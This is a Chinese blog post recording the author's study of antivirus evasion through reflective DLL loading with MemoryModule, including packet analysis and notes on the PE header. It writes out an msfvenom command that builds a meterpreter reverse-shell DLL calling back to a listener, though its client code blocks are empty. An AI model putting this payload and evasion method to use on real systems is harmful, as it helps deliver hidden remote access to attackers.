静态恶意代码逃逸2
静态恶意代码逃逸2
最近在学习从底层用C/C++去实现免杀,而看到了关于静态恶意代码逃逸的一些很好的文章,在此记录总结一下
反射DLL加载
对于加载DLL而言,一般是通过LoadLibrary这个API来实现,但这里我们去使用memoryModule
前置知识
将该项目下载之后,主要使用的是MemoryModule.h、MemoryModule.cpp
文件
记录一下报错信息与处理wcsncpy: This function or variable may be unsafe. Consider using wcsncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
处理方法:项目属性 -> C/C++ -> 预处理器 -> 预处理器定义中加上
_CRT_SECURE_NO_WARNINGS
网上说在头部加上#define _CRT_SECURE_NO_WARNINGS
宏编译也能解决问题,但我在这里实测不行
MemoryLoadLibrary:函数不接受一个参数
处理方法: 将原语句改为
hModule = MemoryLoadLibrary(bFileBuffer, dwReadOfFileSize);
链接器工具错误 LINK 2001
处理方法: 生成的def文件与source.cpp文件名不一致
反射DLL与MSF
首先利用MSF来生成一个DLL,然后通过网络套接字(Socket)接受,丢到MemoryModule中,让其执行msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.152.129 LPORT=8899 -f dll -o shellcode.dll
1 |
|
这里直接贴上客户端代码,这个代码还是很值得学习的
1 |
|
其中比较难以理解的就是GetPEDLL函数中的这一部分
1 |
|
首先是recv()这个函数
函数原型int recv( _In_ SOCKET s, _Out_ char *buf, _In_ int len, _In_ int flags);
该函数的主要作用是将接收到的内容存到第二个参数所指向的缓冲区
连接msf成功,传输stage 2650bytes,传输dll 8712bytes,但这仍然无法解释上述的recv代码的偏移量
于是我想到拿wireshark去抓包分析一下,看看msf一共传输了哪些东西
过滤掉源IP与目的IP之后,得到如下的TCP传输
那我们就挨个来看一下这些包有多大,以及具体内容
一共2658bytes
一共8712bytes
于是将上述代码改为
1 |
|
但貌似还是没有成功上线
当我一个一个包仔细看的时候,突然想到,在msfvenom生成的时候,会带有dll大小的具体信息,于是重新生成一个dll来看
这里可以看到dll大小为8704bytes
重新抓包分析
可以看到dll文件数据由7300+1416=8716bytes构成,意味着有12bytes需要偏移
于是将代码改为
1 |
|
但仍旧无法上线,可能不是这么简单的移位,这里我用邮件私信了作者,得到了解决办法
用vs调试一下,看看lpbuffer中的内存情况,找到MZ DOS头,以内存的偏移为准
于是决定深入的了解一下PE文件的结构
以这个文件为例
- 从文件头4D 5A(MZ)开始,跳转3C(即偏移3C)
- 跳转后可读取到数据为0000 00B0
- 再跳转到地址0000 00B0;
- 若该地址数据为50 45(即PE)就为PE文件。